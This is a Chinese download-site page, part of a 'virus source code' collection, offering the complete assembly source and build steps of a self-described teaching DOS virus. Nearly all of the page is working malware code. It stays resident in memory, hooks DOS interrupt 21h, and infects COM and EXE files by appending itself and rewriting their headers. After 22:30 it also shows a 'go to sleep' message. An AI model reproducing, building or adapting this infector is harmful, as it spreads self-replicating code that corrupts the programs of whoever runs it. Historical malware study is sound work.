⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 一个教学版com,exe混合型病毒源代码.txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
字号:
;编写感染COM与EXE文件的病毒的样例程序
;此程序是d由v0病毒改装升级而来
;在DOS下才有一定的传染能力
;此程序部分应用了32位编程
;制作方法如下
;tasm32 dv1;
;tlink  dv1;
;Debug  dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒程序
OFF equ Offset
DosMcb     Struc  ;Dos内存控制链结构(部分)
  Flag     db ?   ;是'M'则不是最后一块;是 'Z'则是最后一块 
  Owner    dw ?   ;是008: 则是系统所有;是0则为未使用内存块 
  Sizes    dw ?   ;本块大小,按节计算(1节=10h字节)
DosMcb     Ends
ExeHeader  Struc  ;Exe文件头结构
  Flags    dw 'ZM';Exe文件标志
  ModSize  dw ?   ;Exe文件最后一页字节数
  Pages    dw ?   ;Exe文件页数(1页为512字节)
  Reloc    dw ?   ;Exe文件从定位项数
  MeSize   dw ?   ;本文头节数
  MinMem   dw ?   ;该程序所须最小内存(节)
  MaxMem   dw ?   ;该程序所须最大内存(节)
  StartSs  dw ?   ;程序Sp初值
  StartSp  dw ?   ;程序相对Ss初值
  CheckSum dw ?   ;文件头检查和
  StartIp  dw ?   ;程序Ip初值
  StartCs  dw ?   ;程序相对Cs初值
  RelocOff dw ?   ;从定位信息偏移
ExeHeader Ends
VirusSize=OFF @@End-OFF @@Start ;(病毒大小)
VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存大小)
.386
.model small 
.code
    org 100h ;按COM格式编写
@@Start:     ;病毒引导块
    pusha    ;保存所有通用寄存器    
    mov  ax,4d4dh
    int  21h   ;是否已经驻留内存(自定义中断)
    cmp  ax,4d4dh
    jz   short @@ExecOldApp ;否,调用安装模块
    call @@Install
@@ExecOldApp:
    mov  ah,2ch
    int  21h   ;得到系统时间
    cmp  cx,22*100h+30 ;(Cmp 时间:22:30)
    jb   short @@TestFlag  ;不到22:30不调用显示消息
    call @@DisplayMsg  ;调用表现块
@@TestFlag:
    clc  ;预设为Clc指令,表示是Com文件(若在传染时被改成Stc则是Exe文件)
    jc   short @@IsExeApp
@@IsComApp:
    call @@GetOldComAppCode
    OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dos
               dw 0000h ;这里为保存原COM文件头部4字节信息
@@GetOldComAppCode:
    pop  si  ;得到OldAppCode的地址
    mov  di,100h    
    cld
    lodsd  
    stosd  ;恢复原COM头部4字节
    popa   ;恢复所有通用寄器
    push word ptr 100h
    ret    ;去执行原COM程序
@@IsExeApp:    
    popa   ;恢复所有通用寄器
    cli    ;改变堆栈指针时要关闭中断
    mov  sp,es   ;得到Psp( Sp=PSP段址)
    add  sp,10h
    SpAddData    dw 0c481h;0bch是add sp,xxxx指令
    OldAppSs     dw 000h  ;原Exe文件Ss相对值
    mov  ss,sp   ;计算出原程序堆栈并恢复
    MoveDataToSp db 0bch  ;0bch是mov sp,xxxx指令  
    OldAppSp     dw 000h  ;原Exe文件Sp值
    sti          ;从新开启中断
    push ax
    mov  ax,es   ;得到Psp( Ax=PSP段址)
    add  ax,10h
    AxAddData    db 005h  ;05h是add ax,xxxx指令,计算原程序Cs值
    OldAppCs     dw 000h  ;原Exe文件Cs相对值
    movzx esp,sp  ;转化为32位[esp]式堆栈寻址
    xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址
    PushWordData db 068h  ;068h是push word ptr xxxx指令
    OldAppIp     dw 000h  ;原Exe文件Ip值
    retf         ;去执行原Exe程序    
@@Install:
    push ds
    push es      ;保存段寄存器
    mov  ax,ds
    dec  ax ;得到自己的MCB结构段址,它在程序的PSP前
@@ContFindLastMcb:
    mov  ds,ax
    cmp  ds:[Flag],'Z' ;是最后一块吗?
    jz   short @@FoundLastMcb
    add  ax,ds:[Sizes]
    inc  ax    ;计算下一个MCB 的段址=本块段址+本块大小+1
    jmp  short @@ContFindLastMcb
@@FoundLastMcb: 
    sub  ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块大小减去病毒所须内存大小(节数)
    add  ax,ds:[Sizes]
    inc  ax  ;计算出病毒在高端RAM的地址(即在最后一块划出的空间段址)
    mov  es,ax    
    xor  di,di
    push cs
    pop  ds ;复位数据段
    call @@GetVirusBase
@@GetVirusBase:
    pop  si
    sub  si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
    mov  cx,VirusSize
    cld
    rep  movsb  ;把病毒搬运到高端地址
    sub  ax,10h ;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)
    mov  ds,ax  
@@ContInstall:
    mov  ax,3521h
    int  21h    ;取Int 21h的中断向量,并保存
    mov  ds:OldInt21Seg,es
    mov  ds:OldInt21Off,bx
    lea  dx,@@NewInt21
    mov  ax,2521h 
    int  21h    ;设新的Int 21h处理程序到@@NewInt21处
    pop  es
    pop  ds    
    ret
@@NewInt21:     ;新Int21 h服务程序(传染块)
    cmp  ax,4d4dh 
    jnz  short @@NextHook
    iret        ;是自定义中断,直接返回
@@NextHook:
    cmp  ah,4bh
    jz   short @@MyBeCom
    cmp  ah,43h
    jz   short @@MyBeCom
    cmp  ah,3dh
    jz   short @@MyBeCom   ;截获4b,43,3d号Dos功能
@@JmpOldInt21:
    cli         ; 进入Int21h前,需要关中断!
    JmpFar      db 0eah    ;远跳转指令jmp xxxx:xxxx
    OldInt21Off dw ?
    OldInt21Seg dw ?
@@CallInt21:    ;  模拟Int 21h指令
    pushf
    push cs
    call @@JmpOldInt21
    ret
@@MyBeCom:      ;入口参数ds:dx=以零结尾的Com文件名字符串
    pusha
    push ds    
    mov  si,dx
    xor  al,al    
@@ContFindExtName:  ;找扩展名
    inc  si
    cmp  [si],al
    jnz  short @@ContFindExtName    
    mov  eax,[si-4]
    or   eax,20202020h  ;转化为小写字母
    cmp  eax,'moc.'  ;是.com文件吗?
    jz   short @@IsComFile
    cmp  eax,'exe.'  ;是.exe文件吗?
    jz   short @@IsExeFile  
@@ExitOpt:        
    pop  ds
    popa
    jmp  short @@JmpOldInt21    
@@IsComFile:   
    mov  ax,3d02h
    call @@CallInt21   ;3dh,打开COM文件
    jc   short @@OptComFalse ;失败
    mov  bx,ax
    push cs
    pop  ds            ;复位数据段
    mov  ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示传染的是Com文件
    lea  dx,OldAppCode
    mov  cx,4
    mov  ah,3fh
    int  21h          ;读文件首部4字节
    jc   short @@CloseComFile
    mov  si,dx
    cmp  word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能仅由扩展名判断)
    jz   short @@CloseComFile    ;是就不感染
    cmp  byte ptr[si+3],'V';是否有已感染病毒标志
    jz   short @@CloseComFile    ;是则说明该程序已经被感染了
    mov  ax,4202h
    xor  cx,cx
    xor  dx,dx
    int  21h  ;将文件指针移到文件尾,返回dx:ax=文件长度
    or   dx,dx
    jnz  short @@CloseComFile ;文件太大不感染
    mov  dx,ax
    add  ax,VirusSize
    jc   short @@CloseComFile ;文件太大不感染
    cmp  ax,0fd00h
    ja   short @@CloseComFile ;文件太大不感染
    sub  dx,03  ;计算出Jmp Virus的偏移量
    mov  ds:JmpOffset,dx
    lea  dx,@@Start
    mov  cx,VirusSize
    mov  ah,40h
    int  21h   ;将病毒写到文件尾部
    mov  ax,4200h
    xor  cx,cx
    xor  dx,dx
    int  21h   ;把文件指针移到文件首
    mov  cx,04h
    lea  dx,@@JmpVirus
    mov  ah,40h
    int  21h   ;写Jmp Virus与病毒Flag  4字节到文件首部            
@@CloseComFile:
    mov  ah,3eh
    int  21h   ;关闭文件     
@@OptComFalse:    
    jmp  short @@ExitOpt
@@IsExeFile:
    mov  ax,3d02h
    call @@CallInt21   ;3dh,打开Exe文件
    jc   @@OptExeFalse ;失败
    mov  bx,ax
    push cs
    pop  ds            ;复位数据段
    mov  ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示传染的是Exe文件
    lea  dx,MyExeHeader
    mov  cx,size ExeHeader
    mov  ah,3fh
    int  21h          ;读文件首部4字节
    jc   @@CloseExeFile
    cmp  ax,cx
    jb   @@CloseExeFile
    mov  si,dx
    cmp  word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能仅由扩展名判断)
    jnz  @@CloseExeFile    ;不是就不感染
    cmp  [si.CheckSum],'VV'      ;是否有已感染病毒标志
    jz   @@CloseExeFile          ;是则说明该程序已经被感染了
    mov  ax,4202h
    xor  cx,cx
    xor  dx,dx
    int  21h  ;将文件指针移到文件尾,返回dx:ax=文件长度    
    cmp  dx,8h
    ja   short @@CloseExeFile  ;文件太大,可能是Windows应用程序
    shl  edx,16 
    mov  dx,ax
    push edx     ;保存文件大小   
    shr  edx,4   
    sub  dx,[si.MeSize] ;计算病毒在该Exe程序中新的相对Cs
    and  ax,0fh  ;计算病毒在该Exe程序中新的Ip值(0=<Ip<10h)
    mov  cx,dx   ;cx=dx=新的相对Cs值
    xchg [si.StartCs],dx
    mov  ds:[OldAppCs],dx  ;修改相对Cs值,保存原相对Cs值
    xchg [si.StartSs],cx
    mov  ds:[OldAppSs],cx  ;修改相对Ss值,保存原相对Ss值
    xchg [si.StartIp],ax
    mov  ds:[OldAppIp],ax  ;修改Ip值,保存原Ip值
    xor  ax,ax
    xchg [si.StartSp],ax   ;修改Sp值,保存原Sp值
    mov  ds:[OldAppSp],ax 
    mov  [si.CheckSum],'VV';设置传染标志
    pop  edx      ;弹出文件大小
    mov  ecx,VirusSize        
    add  edx,ecx  ;计算感染后文件的大小 
    mov  ax,dx   
    and  ax,1ffh  ;计算感染后文件的ModSize
    mov  [si.ModSize],ax
    add  edx,1ffh
    shr  edx,9    ;计算感染后文件的Pages
    mov  [si.Pages],dx
    lea  dx,@@Start    
    mov  ah,40h
    int  21h   ;将病毒写到文件尾部
    mov  ax,4200h
    xor  cx,cx
    xor  dx,dx
    int  21h   ;把文件指针移到文件首
    mov  cx,size ExeHeader
    lea  dx,MyExeHeader
    mov  ah,40h
    int  21h   ;写文件头到文件首部                      
@@CloseExeFile:
    mov  ah,3eh
    int  21h   ;关闭文件     
@@OptExeFalse:    
    jmp  @@ExitOpt
@@JmpVirus:    
    JumpNear  db 0e9h ;近转移指令Jmp near xxxx
    JmpOffset dw ?
    VirusFlag db 'V'    ;病毒标志为'V'字符
@@DisplayMsg:
    pop  dx    
    push dx
    add  dx,OFF @@Message-OFF @@TestFlag ;计算@@Message的偏移量
    push ds
    push cs
    pop  ds
    mov  ah,09h
    int  21h    ;显示信息,“夜已深,你该睡觉了!”
    pop  ds
    ret
@@Message:
    db   0ah,0dh,07h
    db   'Night is deep,you must go sleep!'
    db   0ah,0dh,'$'
    db   'Go Sleep Ver3.0 by Whg 2001.5.2'
@@End:           
    MyExeHeader db   size ExeHeader dup(?)
@@MemEnd:
end @@Start 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -